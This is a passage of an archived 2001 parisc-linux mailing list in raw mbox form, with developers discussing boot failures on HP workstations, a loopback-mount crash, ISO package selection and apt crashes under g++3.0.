assigned to that device instance.
For some reason that doesn't appear to be working for dino.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dead keyboard after booting 0.61 STI32 iso on a 
 715/100
Date: Fri, 25 May 2001 10:08:29 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3B0E12FD.4EB7BCF5@esiee.fr>
References: <Pine.LNX.4.21.0105250117040.13776-100000@droid3.webreklam.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620141 19573 80.91.229.3 (22 Nov 2014 01:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:41 +0000 (UTC)
To: diab <diab@diab.rulez.org>, puffin@esiee.net,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 25 01:58:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02D27482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 May 2001 01:58:05 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id CE318D15B0; Fri, 25 May 2001 09:58:02 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11119

Hi diab(?)

Xavier Debacker could have some element 
for you about your problems but is not 
here today (Legal Holidays). Some hardware
on your 715 box could not work correctly
with the PA/Linux version given on ISOs.
Could you send him (debackex@esiee.fr) the list
of hardware detected by the kernel during the boot sequence?
Or at least if you have an HIL or PS/2 Keyboard?
I think you could get so a fast answer sunday evening (GMT+1)

Regards,

Matthieu Delahaye
-- 
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: diab <diab@diab.rulez.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dead keyboard after booting 0.61 STI32 iso on a
  715/100
Date: Fri, 25 May 2001 11:36:15 +0200 (CEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0105251130540.20410-100000@droid3.webreklam.hu>
References: <3B0E12FD.4EB7BCF5@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620141 19579 80.91.229.3 (22 Nov 2014 01:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:41 +0000 (UTC)
Cc: debackex@esiee.fr
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 25 03:36:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from droid3.webreklam.hu (para.abs0lut.com [195.56.113.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8134F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 May 2001 03:36:18 -0600 (MDT)
Original-Received: from localhost (diab@localhost)
	by droid3.webreklam.hu (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA20477;
	Fri, 25 May 2001 11:36:15 +0200
X-Sender: diab@droid3.webreklam.hu
In-Reply-To: <3B0E12FD.4EB7BCF5@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:11120

Hi,

Yes, it is a a PC PS2 keyboard (plugged to a keyboard adapter module,
which connects to the HP715 w/ an rj45 like jack).
I've tried two different ps2 keyboars, with no luck so far

before that fbconsole would init i see a screen full of information 
(lots of rows starting with Mirage something detected) but it clears the
screen (switchin to STIfb) so quick, i cant read it :( 
is there any way to hold it? 

% Could you send him (debackex@esiee.fr) the list
% of hardware detected by the kernel during the boot sequence?
hardware detected:
ttys00, ttys01, lp0 
Sim700: 57c710 scsi (it displays a warning, irq probe failed)
Lasi Harmony Audio rev. 18 

im typing all of these from my memory since the keyboard is frozen after
vmlinuz stars to boot and no way to somehow stop the screen :(
i even tried to make a photo of it but the flash makes the screen
unreadable and its too dark and "moving" quickly for flashless pix.

--
diab 
		





From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] executing from loopback mounts crashes A500
Date: Fri, 25 May 2001 21:03:07 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <20010525210307.Q8736@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620141 19583 80.91.229.3 (22 Nov 2014 01:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 25 14:05:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust171.bre.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8102482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 May 2001 14:05:35 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9B457B008; Fri, 25 May 2001 21:03:07 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11121

Make an fs in a file, mount it, copy bash in, unmount, lots of
disk traffic to flush memory, mount it again, try and execute
bash.  Random problems, generally resulting in a hung system.
With a smaller binary I got a few random errors and then it started
working.

Richard


slab:/usr/src/boot-floppies# cd /tmp
slab:/tmp# dd if=/dev/zero of=img bs=1M count=8
8+0 records in
8+0 records out
slab:/tmp# mke2fs img  
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
img is not a block special device.
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
2048 inodes, 8192 blocks
409 blocks (4.99%) reserved for the super user
First data block=1
1 block group
8192 blocks per group, 8192 fragments per group
2048 inodes per group

Writing inode tables: done                            
Writing superblocks and filesystem accounting information: done
slab:/tmp# mkdir mnt
slab:/tmp# mount -o loop img mnt
slab:/tmp# cp /bin/bash mnt
slab:/tmp# umount mnt
slab:/tmp# dd if=/dev/sda of=/dev/null bs=1M count=256
256+0 records in
256+0 records out
slab:/tmp# mount -o loop img mnt
slab:/tmp# mnt/bash
mnt/bash: error while loading shared libraries: cannot load shared object file: Error 21
slab:/tmp# mnt/bash
Illegal instruction
slab:/tmp# mnt/bash
Illegal instruction
slab:/tmp# mnt/bash
Trace/breakpoint trap

(hung system)




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] List of packages for hppa ISO release
Date: Fri, 25 May 2001 18:10:59 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20010526001059.283B437C8F@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620141 19585 80.91.229.3 (22 Nov 2014 01:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 25 18:08:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7279E482A
	for <parisc-linux@parisc-linux.org>; Fri, 25 May 2001 18:08:14 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id E88B0E93; Fri, 25 May 2001 20:08:13 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 283B437C8F; Fri, 25 May 2001 18:10:59 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11122

Hi binary-hppa hackers,

I have generated a list of packages that we intend to put in the ISO release 
at the end of this month. The list represents a first pass at what pb, willy, 
and I think should be installed on a parisc linux server box. We have excluded 
packages from non-US for the same reasons that Debian does. The way this list 
was generated was by installing the packages and then running a "dpkg 
--get-selections". If you like you can make your system identical to this list 
by feeding the list to "dpkg --set-selections". The list is available at,

http://puffin.external.hp.com/~taggart/selections.20010525

There are still a few missing dependencies but those should be taken care of 
in the next few days. If you have additions/deletions to the list please send 
them to me.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Major hppa binutils problem
Date: Fri, 25 May 2001 18:34:50 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20010526003450.E0CC037C8F@carmen.fc.hp.com>
References: <20010523000759.C759937DCE@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620142 19586 80.91.229.3 (22 Nov 2014 01:35:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 25 18:32:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 623F2482A
	for <parisc-linux@parisc-linux.org>; Fri, 25 May 2001 18:32:09 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 9018C6B5; Fri, 25 May 2001 20:32:05 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id E0CC037C8F; Fri, 25 May 2001 18:34:50 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Tue, 22 May 2001 18:07:59 MDT." <20010523000759.C759937DCE@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11123

Matt Taggart writes...

[snip]
> Paul Bame has written a script you can run to check and see if your system
> has any bad debs installed. Its available at,
> 
> ftp://puffin.external.hp.com/pub/parisc/tools/plt-checker

It was discovered that this tool could silently fail if you didn't have the 
right version of binutils installed. I have updated the URL above with Paul's 
latest version. Also most of the bad debs in the debian archive have been 
replaced by new clean ones. So what a few of us have been doing is,

- "apt-get update; apt-get upgrade" to get all the latest debs
- run plt-checker
- remove or replace the remaining stuff that's broken

You'll probably want to do something similar.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James FitzGibbon <james@ehlo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Install CD causes reboot on 712/80
Date: Sat, 26 May 2001 09:51:16 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20010526095116.A38860@ehlo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620142 19587 80.91.229.3 (22 Nov 2014 01:35:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 26 07:51:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ehlo.com (mail.ehlo.com [208.185.90.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8936D482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 May 2001 07:51:22 -0600 (MDT)
Original-Received: from james by mail.ehlo.com with local (Exim 3.22 #1)
	id 153eTM-000A7A-00
	for parisc-linux@lists.parisc-linux.org; Sat, 26 May 2001 09:51:16 -0400
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11124

I'm new to PARISC-Linux.  I've had a 712/80 sitting around for a few years
and thought I'd give it a go.  Using the palinux-0.6.1-32STI.iso image, I
burned a CD and attempted to install.

The boot process in and of itself went fine.  The kernel came up, reported
all of the devices that are shown for this model in the hardware database. 
After init entered runlevel 2, the message "Setting up /tmp and /var/log
ramdisks" was displayed.  About 5 seconds after that, the system rebooted.

I've tried futzing around with the SCSI ids with no luck.  Does anyone have
an idea or procedure I can try to get around this or find out more
information as to why it's happening?

I'm going to try the 0.6 image as well as the serial console one in the
meantime (I have firmware 2.3, so I should be OK to go back and forth).

Thanks.

-- 
j.




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of packages for hppa ISO release
Date: Sat, 26 May 2001 10:45:55 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <200105261645.KAA19506@puffin.external.hp.com>
References: <20010526001059.283B437C8F@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620142 19590 80.91.229.3 (22 Nov 2014 01:35:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 26 10:53:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 741B4482A
	for <parisc-linux@parisc-linux.org>; Sat, 26 May 2001 10:53:34 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA19506;
	Sat, 26 May 2001 10:45:55 -0600
In-Reply-To: Your message of "Fri, 25 May 2001 18:10:59 MDT."
             <20010526001059.283B437C8F@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11125

Matt Taggart wrote:
> http://puffin.external.hp.com/~taggart/selections.20010525
> 
> There are still a few missing dependencies but those should be taken care of 
> in the next few days. If you have additions/deletions to the list please send
> them to me.

o ditch ipchains and add iptables instead.
o add cvs
o add an irc client? (tirc? tinyirc? ircii?)
o any memory or selftest tools we can include?
  (even untested - I'm looking at x86 package that has mem/cpu test)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James FitzGibbon <james@ehlo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install CD causes reboot on 712/80
Date: Sat, 26 May 2001 13:38:32 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20010526133832.B38860@ehlo.com>
References: <20010526095116.A38860@ehlo.com> <20010526090421.A30815@volta.midco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620143 19591 80.91.229.3 (22 Nov 2014 01:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jonathan Crockett <jcrockett@midco.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 26 11:39:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ehlo.com (mail.ehlo.com [208.185.90.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE221482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 May 2001 11:39:08 -0600 (MDT)
Original-Received: from james by mail.ehlo.com with local (Exim 3.22 #1)
	id 153i1I-000ALu-00; Sat, 26 May 2001 13:38:32 -0400
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010526090421.A30815@volta.midco.net>; from jcrockett@midco.net on Sat, May 26, 2001 at 09:04:21AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11126

* Jonathan Crockett (jcrockett@midco.net) [010526 10:04]:

> I have a 715/80 with both the on board graphic and a expansion graphic card,
> that had very similar symptoms.  I disconnected the addon graphics card and
> the STI image then worked.  Hope that gives you some insight...

Using the 0.6 serial image worked for me (the 0.61 image died the same as
the STI).  I did try removing what is the only addon card in the box, but it
looks more like cache than video.  It didn't help the 0.61 image.

The output regarding ramdisks is different on 0.6:

INIT: Entering runlevel: 2
Setting up /tmp ramdisk4096+0 records in
4096+0 records out

Then it gives me the login prompt.  On 0.61, it would go:

INIT: Entering runlevel: 2
Setting up /tmp and /var/log ramdisks

and reboot.  So something is different regarding ramdisks (or perhaps mkfs)
on 0.61 vs 0.60.

Thanks for the help.

-- 
j.




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@debian.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some information on apt woes
Date: Sat, 26 May 2001 22:08:09 -0600
Lines: 62
Approved: news@gmane.org
Message-ID: <m153rqb-001VltC@bame.riverrock.org>
Reply-To: bame@debian.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620143 19595 80.91.229.3 (22 Nov 2014 01:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 26 22:08:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E0BD482A
	for <parisc-linux@parisc-linux.org>; Sat, 26 May 2001 22:08:23 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4R48IC97669
	for <parisc-linux@parisc-linux.org>; Sat, 26 May 2001 22:08:18 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA30507
	for <parisc-linux@parisc-linux.org>; Sat, 26 May 2001 22:08:09 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m153rqb-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Sat, 26 May 2001 22:08:09 -0600 (MDT) 
Errors-To: bame@debian.org
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:11127

Summary:
    Latest versions of apt don't compile with g++3.0 even on x86.

    Upstream CVS apt has bugs which might or might not be related to
    my changes to compile with g++3.0.  Upstream CVS apt doesn't even
    compile (for me) using older compilers on x86.

    One current parisc apt failure mode of both 0.4.0 and 0.5.3 appears
    to be a kernel VM problem though that doesn't make sense since the
    variable to make 0.4.0 fail is to update to glibc 2.2.3 from 2.2.1
    unless it's just the right change to the memory map to tweek some bug.

    Many thanks to tausq (Randolph Chung) for providing a patch with
    many of the changes required to make apt compile with g++3.0

    If someone with a clue about VM would take a look I'd appreaciate it
    because I'm really burnt out on apt right now.

VM Problem?
    Reproduce by removing /var/cache/apt/*.bin then running apt-get update.
    apt-get updates which don't download new packages file seem to work.

    The test generates a type 6 fault trying to fetch an instruction from
    an apt-specific shared library from which code has been happily
    executing up to this point.  The failure has the hallmarks (IIR is
    0x43ffff80) of fetching from an unmapped page.  Gdb disassembly of
    this area immediately after the fault shows garbage.

    The fault appears to happen shortly
    after the pkgcache.bin file, in which apt builds a memory-mapped
    database, is munmap-ped.  As we've seen, apt functions correctly
    even with this defect which is consistent with the apt database
    being updated properly in spite of the fault.

apt 0.5.3 + parisc problem:
    Like 0.4.0, apt 0.5.3 (hacked to compile with g++3.0 and working
    ok on x86) faults in the above test case.  However apt-get installs
    also fail, by segfaulting prior to doing their work.  Through layers
    of C++ code it appears that a bad data value is being read from the
    (memory-mapped) database.  That value is used to construct a
    pointer which is invalid leading to a type=15 fault.

    I can't find the bad data value in the database file from which
    it must be coming, leading me to conclude I either haven't yet
    found the root cause (quite possible -- it has taken hours to
    grok and trace the layers of C++) or that the database is corrupt due to
    premature death of the apt-get update.  I'm guessing the former.

Generic apt 0.5.3 problem:
    'apt-cache dump' built with my changes crashes on both x86 and
    parisc (the 0.5.3 x86 official debian package works fine).  This
    could indicate some subtle defect with the conversion to g++3.0
    most of which deals with strings.  Apt seems to use C++ strings
    extensively, but is always poking around inside their guts, so
    it would be easy to do something stupid there I think.  It's also
    possible that the g++3.0 is unconvering an existing defect.


    	-P




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some information on apt woes
Date: Sun, 27 May 2001 05:27:07 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010527052707.J23718@parcelfarce.linux.theplanet.co.uk>
References: <m153rqb-001VltC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620143 19599 80.91.229.3 (22 Nov 2014 01:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:43 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: bame@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 26 22:28:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84F07482A
	for <parisc-linux@parisc-linux.org>; Sat, 26 May 2001 22:28:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 153s8x-0002w8-00; Sun, 27 May 2001 05:27:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m153rqb-001VltC@bame.riverrock.org>; from bame@debian.org on Sat, May 26, 2001 at 10:08:09PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11128

On Sat, May 26, 2001 at 10:08:09PM -0600, bame@debian.org wrote:
>     One current parisc apt failure mode of both 0.4.0 and 0.5.3 appears
>     to be a kernel VM problem though that doesn't make sense since the
>     variable to make 0.4.0 fail is to update to glibc 2.2.3 from 2.2.1
>     unless it's just the right change to the memory map to tweek some bug.

The faults I've seen from 0.4.0 are very different from those which
you report.  0.4.0 segfaults during exit as it attempts to execute code
in the dynamic linker (possibly a destructor?), after the dynamic linker
has been unmapped.

The 0.5.3 crashes I've seen look more like dereferencing random data.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some information on apt woes
Date: Sun, 27 May 2001 11:02:00 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <m1543vU-001VltC@bame.riverrock.org>
References: <m153rqb-001VltC@bame.riverrock.org>  
 <20010527052707.J23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620144 19601 80.91.229.3 (22 Nov 2014 01:35:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:44 +0000 (UTC)
Cc: bame@debian.org, parisc-linux@parisc-linux.org,
	bame@www.riverrock.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 27 11:02:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id E830D482A
	for <parisc-linux@parisc-linux.org>; Sun, 27 May 2001 11:02:20 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4RH21m59267;
	Sun, 27 May 2001 11:02:01 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA18056;
	Sun, 27 May 2001 11:02:00 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m1543vU-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <matthew@wil.cx>; Sun, 27 May 2001 11:02:00 -0600 (MDT) 
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <matthew@wil.cx> 
   of "Sun, 27 May 2001 05:27:07 BST." <20010527052707.J23718@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11129

> On Sat, May 26, 2001 at 10:08:09PM -0600, bame@debian.org wrote:
> >     One current parisc apt failure mode of both 0.4.0 and 0.5.3 appears
> >     to be a kernel VM problem though that doesn't make sense since the
> >     variable to make 0.4.0 fail is to update to glibc 2.2.3 from 2.2.1
> >     unless it's just the right change to the memory map to tweek some bug.
> 
> The faults I've seen from 0.4.0 are very different from those which
> you report.

That's why I said "One" above...  That "one" seems easily repeatable across
different boxes so seemed the best candidate for investigation and sharing.

>  0.4.0 segfaults during exit as it attempts to execute code
> in the dynamic linker (possibly a destructor?), after the dynamic linker
> has been unmapped.

It's possible I didn't examine the 0.4.0 memory map carefully enough to
distinguish the dynamic linker from other code.  I'm certain of the analysis
for 0.5.3 however.

> 
> The 0.5.3 crashes I've seen look more like dereferencing random data.

Sorry I must've been obtuse. Bad value used to construct an invalid pointer
leading to a type=15 fault" was supposed to indicate the same thing.  Again
I picked and analyzed one repeatable case, so my pointer was constant
